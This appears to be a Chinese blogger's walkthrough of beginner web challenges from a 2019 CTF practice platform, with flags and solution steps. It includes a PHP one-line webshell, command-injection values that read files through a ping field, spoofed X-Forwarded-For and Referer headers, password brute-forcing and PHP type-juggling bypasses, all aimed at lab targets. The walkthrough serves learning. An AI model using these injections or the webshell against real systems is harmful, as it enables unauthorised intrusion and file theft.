2019攻防世界web新手区
robots
看了题目描述,发现与robots协议有关,过完去百度robots协议。发现了robots.txt,然后去构造url访问这个文件
http://111.198.29.45:42287/robots.txt
得到提示:Disallow: f1ag_1s_h3re.php,再次构造url,访问这个文件。
http://111.198.29.45:42287/f1ag_1s_h3re.php
成功得到flag:cyberpeace{bffdd8b6fd5db04fd274822c68d5fadb}
backup
进去题目后,看到提示与index.php的备份文件有关,想起index.php.bak,果断构造url访问文件。
111.198.29.45:58119/index.php.bak
下载文件后,使用记事本打开,即可得到flag:cyberpeace{d7646fa539c6b115deef155a73830462}
cookie
看到题目和cookie有关,果断按下F12查看cookie,发现了cookie.php,构造url去访问
http://111.198.29.45:33679/cookie.php
得到提示:See the http response
然后再网络请求的消息头里面看到的flag:cyberpeace{2c2587a68a1db6c2a413631531030da1}
disabled button
看到一个flag按钮,但却无法点击。觉得应该和参数的设置有关,F12改下参数,把下面位置的disabled更改为able,
再次点击flag按钮,即可获得flag:cyberpeace{0ca54cb222b4d649d8e193467f5c8f52}
simple js
看题目觉得这应该是一道关于js的题目,因为没怎么学过js,心里小发慌。查看网页源代码。
其中pass为假密码,可以看到无论输入什么都会返回这个假密码,真正的密码在:
javascript String"fromCharCode"; - 用python处理一下:
s="\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
print (s) - 得到` 55,56,54,79,115,69,114,116,107,49,50
s=[55,56,54,79,115,69,114,116,107,49,50]
for i in s:
print(chr(i),end='')
- 得到
786OsErtk12
xff referer:
看到题目觉得应该和XFF有关,进去后要求IP地址必须为123.123.123.123,使用burpsuite伪造XFF:X-Forwarded-For:123.123.123.123
go之后又要求innerHTML="必须来自https://www.google.com",再伪造Referer:Referer:https://www.google.com
go之后得到flag:cyberpeace{e9f742dcdb07a05638f0c004c4a27368}
weak auth:
进入后看到一个登陆框界面,试着随便输入一个账户密码,提示输入admin,然后再源码里发现“./check.php”,点进去发现提示:maybe you need a dictionary,利用burpsuite选择一个字典进行爆破。爆破出密码为123465.
输入正确密码得到flag:cyberpeace{5469437256d685fbb6ba239b163bd400}
webshell
题目描述给出了php一句话的提示,进去题目后看到了<?php @eval($_POST['shell']);?>
发现连接密码为“shell”,用菜刀连接,发现flag.txt文件,里面包含flag。
command execution
这个题需要了解一些命令执行的知识:windows或linux下: command1 && command2 先执行command1后执行command2 command1 | command2 只执行command2 command1 & command2 先执行command2后执行command1
我们先在ping的输入框里随便输入一个地址,比如127.0.0.1,然后打开hackbar,发现它是通过target参数以post的方式提交的,我们构造target参数的值:
首先构造这个命令:target=127.0.0.1 | ls ../../../home,提交后会执行后面的“ls ../../../home”命令,发现含有flag.txt文件
然后我们构造查看home下flag.txt文件内容的命令:target=127.0.0.1 | cat ../../../home/flag.txt,即可输出flag:
simple php
一道代码审计的题,用到了知识点,一个是php弱等于,一个是%00截断。先看代码
<?php show_source(__FILE__); include("config.php"); $a=@$_GET['a']; //get方式提交一个a $b=@$_GET['b']; //get方式提交一个b if($a==0 and $a){ //如果a满足条件,数组flag的前一部分 echo $flag1; } if(is_numeric($b)){ exit(); } if($b>1234){ //如果b满足条件,输入flag的后一部分 echo $flag2; } ?>
在判断语句里,要求a==0,并且a不为0;看到两个等号,想到php弱等于,这里可以让a=admin,在“==”判断是,admin会被转换成“0”,a满足天剑
然后是b,is_numeric这个函数要求b不能是数字,下面要求b大于1234,这里可以让b=2345%00,%00是空格的意思,这样b就不会被判断为数字,且大于1234,b满足条件。
构造url:http://111.198.29.45:40060/?a=admin&b=2345%00,即可得到flag。
对于is_numeric这个函数的绕过,还可以让b=2345a。即在后面加一个字母也可以。
(ps:本人太菜,若有错误的地方欢迎大佬随时责骂。。。。xixixii)